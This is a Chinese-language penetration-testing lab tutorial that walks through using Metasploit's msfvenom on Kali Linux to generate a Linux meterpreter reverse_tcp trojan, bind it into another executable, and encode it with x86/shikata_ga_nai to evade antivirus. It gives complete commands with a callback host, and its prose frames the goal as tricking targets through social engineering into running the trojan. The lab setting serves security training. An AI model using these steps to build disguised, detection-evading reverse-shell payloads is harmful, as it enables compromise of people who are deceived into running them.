在一次渗透测试的过程中,避免不了使用到社会工程学的方式来诱骗对方运行我们的木马或者点击我们准备好的恶意链接。木马的捆绑在社会工程学中是我们经常使用的手段,而为了躲避杀毒软件的查杀,我们又不得不对木马进行免杀处理。本次实验我们将学习如何通过Metasploit的 msfvenom 命令来生成木马、捆绑木马以及对木马进行免杀处理。
2. 实验环境 Kali linux 3. 知识点 msfvenom 如何生成木马 msfvenom 如何捆绑木马到常用软件 msfvenom 如何对木马进行编码免杀 4. 效果图二、Metasploit介绍
Metasploit 是一个可用来发现、验证和利用漏洞的渗透测试平台,目前实验环境中 Metasploit 的版本是 v4.12.23-dev 包含了1577个 exploits 、907个 auxiliary 、272个 post 、455个 payloads 、39个 encoders 以及8个 nops 。
其中 exploits 是漏洞利用模块(也叫渗透攻击模块), auxiliary 是辅助模块, post 是后渗透攻击模块, payloads 是攻击载荷也就是我们常说的 shellcode ,这里生成的木马其实就是 payloads 。
在本次试验中我们主要使用的是msfpayload(攻击荷载生成器),msfencoder(编码器)的替代品 msfvenom , msfvenom 集成了前两者的全部功能,可以生成 payload (本节所说的 木马 )以及对 payload 编码免杀和避免坏字符、捆绑木马等。在Kali Linux中默认安装了 Metasploit framework 我们可以直接使用。
Metasploit 更详细的讲解也请参考实验楼的 Kali Linux渗透测试训练营 中 Metasploit 基础知识和使用 这节课程。
三、实验环境启动
实验楼中已经配置好了 Kali Linux虚拟机的实验环境,无需再次安装,这里我简单介绍一下如何启动实验楼环境中的两台虚拟机,详细介绍请查看 Kali 实验环境介绍与使用 。
攻击机:Kali Linux 2.0 虚拟机,主机名是 kali,IP 地址为 192.168.122.101,默认用户名密码为 root/toor。
靶机:Metasploitable2 虚拟机,主机名是 target,IP 地址为 192.168.122.102,默认用户密码为 msfadmin/msfadmin。
本次实验我们只用到Kali linux虚拟机。
我们先来查看当前环境虚拟机的列表和状态:
sudo virsh list --all接下来我们启动Kali linux虚拟机:
sudo virsh start Kali等待虚拟机启动完毕之后,我们就可以用ssh连接已经启动的虚拟机了,默认密码是 toor 。
ssh root@kali四、生成木马
在进行木马生成实验之前我们先来学习一下 msfvenom 命令的用法。在Kali linux下输入如下命令,可以看到 msfvenom 的命令行选项。
msfvenom -h这里我整理了帮助信息,方便我们查看本次实验要使用的命令:
Options:-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, --format <format> Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder <encoder> The encoder to use
-a, --arch <arch> The architecture to use
--platform <platform> The platform of the payload
--help-platforms List available platforms
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out <path> Save the payload
-v, --var-name <name> Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message
这里我们主要用到 -p 、 -f 和 -o 选项,下面我们分别来介绍一下他们的含义,及用法。
-p 选项用来指定需要使用的 payload ,可以指定 '-' 或者 stdin 来自定义 payload 。如果不知道 payload 都包括哪些选项可以使用 --payload-options 列出 payload 的标准选项。 -f 选项用来指定payload的输出格式,可以使用 --help-formats 来列出可选的格式。-o 选项用来指定输出的payload的保存路径,这里我们也可以采用重定向的方式来替代 -o 选项。
再生成木马之前我们先使用 -l 选项来列出指定模块的所有可用资源(模块类型包括: payloads, encoders, nops, all)。这里我们指定 payloads 模块来查看都有哪些可用的 木马 。
msfvenom -l payloads这里我们选择 linux/x86/meterpreter/reverse_tcp 作为木马,接下来我们看一下这个木马都有哪些选项需要设置:
msfvenom -p linux/x86/meterpreter/reverse_tcp --payload-options我们再来看一下都有哪些可以指定的输出格式:
msfvenom --help-formats根据上面各个选项的解释,现在我们就用选择好的 payload 来生成linux下的木马程序吧!输入命令如下:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -f elf -o /root/payload.elf命令执行完毕后木马就生成了,在上面的命令中我们使用 -p 选项指定了 payload 并设置了监听主机的ip地址,由于默认这个 payload 设置监听端口为4444,所以我们这里没有设置监听端口,需要更改监听端口可以设置 LPORT 参数。
是不是很简单,这样我们就成功的生成了一个木马。Metasploit中还有很多 Payload 提供我们使用,可以根据实际情况进行选择。
五、捆绑木马通常我们生成了木马之后,要运用社会工程学的攻击方式诱骗目标运行我们的木马程序,否则我们的木马只是玩具罢了,记住: “没人运行的木马不是好木马” 。这里我们就来学习一下如何将木马捆绑到一个常用的应用程序上,这样我们就可以上传到某些地方来诱骗目标下载并运行我们的木马程序( 记住不要拿这个来做坏事,我们要做个正直的白帽子 )。
捆绑木马我们还是使用上面提到的 msfvenom 命令,只不过这里我们要用到一个新的命令行选项 -x 。我们来看一下 -x 选项的用法及含义。
-x 选项允许我们指定一个自定义的可执行文件作为模板,也就是将木马捆绑到这个可执行文件上。知道了这个选项之后,聪明的同学可能知道该怎么做了,现在就跟着我一起实验一下吧!
为了方便演示,我们就将上一节生成的木马当做常用应用程序来捆绑木马。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -f elf -x /root/payload.elf -o /root/payload_backdoor.elf还以为多麻烦的木马捆绑,就被 Metasploit 中的一个工具轻松解决了?没错, Metasploit 就是这么强大!
六、木马免杀虽然我们已经准备好了木马程序,并且也捆绑到了常用的应用程序上,但是现在杀毒软件泛滥,不经过免杀就算成功上传到目标主机,估计还没等运行就被杀掉了。这里用 msfvenom 生成木马同时对 payload 编码来实现木马的简单免杀。我们先来学习一下我们要用到的命令选项:
-e 选项用来指定要使用的编码器。 -i 选项用来指定对 payload 编码的次数。先来看一下都有哪些编码器可用:
msfvenom -l encoders这里我们挑选一个免杀效果比较好的编码器 x86/shikata_ga_nai ,进行编码:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -e x86/shikata_ga_nai -i 5 -f elf -o /root/payload_encoder.elf从图中我们可以看到完成了对木马的5次编码,这样木马基本上就可以躲避部分杀毒软件的查杀,其实还可以对木马程序进行多次编码,虽然可以提高木马的免杀几率,不过可能会导致木马程序不可用。当然要想免杀效果更好就需要使用 Metasploit pro版本 或者给木马 加壳 、修改木马的 特征码 等等,不过要想躲过全部杀毒软件的查杀则会有些难度,通常会针对某个杀毒软件进行免杀。由于其他方法不在本次实验讨论范围之内,所以这里就不在赘述。
七、总结本次实验主要演示了如何使用 Metasploit 中的 msfvenom 命令来生成、捆绑以及免杀木马的方法。整个过程比较简单,希望同学们能针对本节课的内容详细了解 Metasploit 中的 payloadys 、 encoders 模块以及帮助文档,然后对本节内容举一反三,多多练习使用不同的编码器进行免杀,同时测试是否能躲过目前常见的杀毒软件,关于使用 Metasploit 的渗透测试的技巧,与修改特征码免杀我会在后续的课程中一一讲解。